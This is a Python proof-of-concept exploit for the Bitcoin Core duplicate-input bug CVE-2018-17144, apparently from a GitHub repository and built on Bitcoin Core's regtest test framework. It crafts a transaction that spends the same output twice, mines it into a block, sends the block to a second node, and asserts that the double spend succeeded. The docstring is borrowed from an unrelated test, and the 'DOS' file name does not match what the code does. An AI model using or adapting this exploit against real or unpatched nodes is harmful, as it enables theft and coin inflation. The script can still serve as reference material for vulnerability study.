/
cve-2018-17144-DOS.py
116 lines (96 loc) · 4.92 KB
/
cve-2018-17144-DOS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
# Copyright (c) 2015-2018 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test node responses to invalid blocks.
In this test we connect to one node over p2p, and test block requests:
1) Valid blocks should be requested and become chain tip.
2) Invalid block with duplicated transaction should be re-requested.
3) Invalid block with bad coinbase value should be rejected and not
re-requested.
"""
import copy
import struct
from test_framework.blocktools import create_block, create_coinbase, create_tx_with_script, create_transaction, add_witness_commitment, get_witness_script
from test_framework.messages import COIN, hex_str_to_bytes, CTransaction, bytes_to_hex_str, CTxWitness, sha256, CBlock, msg_witness_block, msg_block, CTxInWitness, ser_uint256, CTxOut
from test_framework.mininode import P2PDataStore, NetworkThread, MAGIC_BYTES
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import assert_equal
from io import BytesIO
def test_witness_block(node, block, accepted, with_witness=True, reason=None):
"""Send a block to the node and check that it's accepted
- Submit the block over the p2p interface
- use the getbestblockhash rpc to check for acceptance."""
p2p = node.p2p
reason = [reason] if reason else []
with node.assert_debug_log(expected_msgs=reason):
p2p.send_message(msg_witness_block(block) if with_witness else msg_block(block))
p2p.sync_with_ping()
assert_equal(node.getbestblockhash() == block.hash, accepted)
class InvalidBlockRequestTest(BitcoinTestFramework):
def set_test_params(self):
self.num_nodes = 2
self.setup_clean_chain = True
self.extra_args = [["-whitelist=127.0.0.1"], ["-whitelist=127.0.0.1"]]
def run_test(self):
# Add p2p connection to node0
node0 = self.nodes[0] # convenience reference to the node
node0.add_p2p_connection(P2PDataStore())
foo_addr = node0.getnewaddress("foo")
n0_addr = node0.getnewaddress()
n0_pubk = hex_str_to_bytes(node0.getaddressinfo(n0_addr)["pubkey"])
node1 = self.nodes[1]
node1.add_p2p_connection(P2PDataStore())
n1_addr = node1.getnewaddress()
# Generate the first block and let node0 get 50 BTC from the coinbase transaction as the initial funding
best_block = node0.getblock(node0.getbestblockhash())
tip = int(node0.getbestblockhash(), 16)
height = best_block["height"] + 1
block_time = best_block["time"] + 1
self.log.info("Create a new block using the coinbase of the node0.")
block1 = create_block(tip, create_coinbase(height, n0_pubk), block_time)
block1.solve()
node0.p2p.send_blocks_and_test([block1], node0, success=True, timeout=60)
self.log.info("Mature the block, make the mined BTC usable.")
node0.generatetoaddress(100, node0.get_deterministic_priv_key().address) # generate 100 more blocks.
assert(node0.getbalance() == 50) # node0 get the reward as a miner
# create a transaction
tx1_raw = node0.createrawtransaction(
inputs = [{"txid": block1.vtx[0].hash, "vout": 0}],
outputs = {foo_addr: 49.99} # 0.01 btc for miner fee
)
tx1_sig = node0.signrawtransactionwithwallet(tx1_raw)
assert_equal(tx1_sig["complete"], True)
tx1_hex = tx1_sig["hex"]
tct1 = CTransaction()
tct1.deserialize(BytesIO(hex_str_to_bytes(tx1_hex)))
tct1.rehash()
node0.sendrawtransaction(tx1_hex)
# craft a new transaction, which double spend the tx1
tx2_raw = node0.createrawtransaction(
inputs = [{"txid": tct1.hash, "vout": 0}, {"txid": tct1.hash, "vout": 0}],
outputs = {n1_addr: 49.99 * 2}
)
tx2_sig = node0.signrawtransactionwithwallet(tx2_raw)
assert_equal(tx2_sig["complete"], True)
tx2_hex = tx2_sig["hex"]
tct2 = CTransaction()
tct2.deserialize(BytesIO(hex_str_to_bytes(tx2_hex)))
best_block = node0.getblock(node0.getbestblockhash())
tip = int(node0.getbestblockhash(), 16)
height = best_block["height"] + 1
block_time = best_block["time"] + 1
block2 = create_block(tip, create_coinbase(height), block_time)
block2.vtx.extend([tct1, tct2])
block2.hashMerkleRoot = block2.calc_merkle_root()
add_witness_commitment(block2)
block2.rehash()
block2.solve()
# node1.p2p.send_blocks_and_test([block2], node1, success=True, timeout=60)
test_witness_block(node1, block2, True)
# check the balances
assert(node0.getbalance() == 0)
assert(node1.getbalance() == 49.99 * 2)
self.log.info("Successfully double spend the 50 BTCs.")
if __name__ == '__main__':
InvalidBlockRequestTest().main()